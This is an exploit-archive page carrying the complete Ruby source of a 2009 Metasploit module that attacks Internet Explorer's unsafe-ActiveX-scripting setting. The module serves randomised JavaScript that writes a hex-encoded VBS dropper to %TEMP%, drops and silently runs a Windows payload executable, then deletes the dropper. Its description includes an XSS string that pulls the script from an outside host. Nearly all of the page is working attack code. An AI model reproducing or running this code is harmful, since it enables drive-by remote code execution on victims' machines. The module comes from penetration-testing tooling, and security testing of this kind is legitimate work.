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Internet Explorer Unsafe Scripting Misconfiguration

Internet Explorer Unsafe Scripting Misconfiguration
Posted Nov 26, 2009
Authored by natron | Site metasploit.com

This exploit takes advantage of the "Initialize and script ActiveX controls not marked safe for scripting" setting within Internet Explorer.

tags | exploit, activex
SHA-256 | 9c2c975c9348a733f16be7b8211fcc06609bf9a7375f942bb2e25d42bfa97d2f

Internet Explorer Unsafe Scripting Misconfiguration

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##
#
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
'Description' => %q{
This exploit takes advantage of the "Initialize and script ActiveX controls not
marked safe for scripting" setting within Internet Explorer. When this option is set,
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
interact with the file system and run commands. This security flaw is not uncommon
in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to
save binary data to the file system, ADODB.Stream access is required, which in IE7
will trigger a cross domain access violation. As such, we write the code to a .vbs
file and execute it from there, where no such restrictions exist.

When set via domain policy, the most common registry entry to modify is HKLM\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
which if set to '0' forces ActiveX controls not marked safe for scripting to be
enabled for the Intranet zone.

This module creates a javascript/html hybrid that will render correctly either
via a direct GET http://msf-server/ or as a javascript include, such as in:
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
</script>.
},
'License' => MSF_LICENSE,
'Author' =>
[
'natron'
],
'Version' => '$Revision$',
'References' =>
[
[ 'MS', 'http://support.microsoft.com/kb/182569' ],
[ 'blog', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],

],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)

#print_status("Starting...");
# Build out the HTML response page
var_shellobj = rand_text_alpha(rand(5)+5);
var_fsobj = rand_text_alpha(rand(5)+5);
var_fsobj_file = rand_text_alpha(rand(5)+5);
var_vbsname = rand_text_alpha(rand(5)+5);
var_writedir = rand_text_alpha(rand(5)+5);
var_exename = rand_text_alpha(rand(5)+5);
var_origLoc = rand_text_alpha(rand(5)+5);
var_byteArray = rand_text_alpha(rand(5)+5);
var_stream = rand_text_alpha(rand(5)+5);
var_writestream = rand_text_alpha(rand(5)+5);
var_strmConv = rand_text_alpha(rand(5)+5);

p = regenerate_payload(cli);
print_status("Request received from #{cli.peerhost}:#{cli.peerport}...");
exe = Msf::Util::EXE.to_win32pe(framework,p.encoded);
#print_status("Building vbs file...");
# Build the content that will end up in the .vbs file
vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)

print_status("Encoding payload into vbs/javascript/html...");
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[0]).upcase}\"))\r\n")

1.upto(exe.length) do |i|
vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[i]).upcase}\"))\r\n")
end

# Continue with the rest of the vbs file;
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
# Then use ADODB.Stream again to write the binary to file.
#print_status("Finishing vbs...");
vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)

# Encode the vbs_content
#print_status("Hex encoded vbs_content: #{vbs_content}");

# Build the javascript that will be served
js_content = %Q|
//<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
#{var_fsobj_file}.Close();

#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
//</script></html>
|

print_status("Sending exploit html/javascript to #{cli.peerhost}:#{cli.peerport}...");
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");

# Transmit the response to the client
send_response(cli, js_content, { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)
end
end
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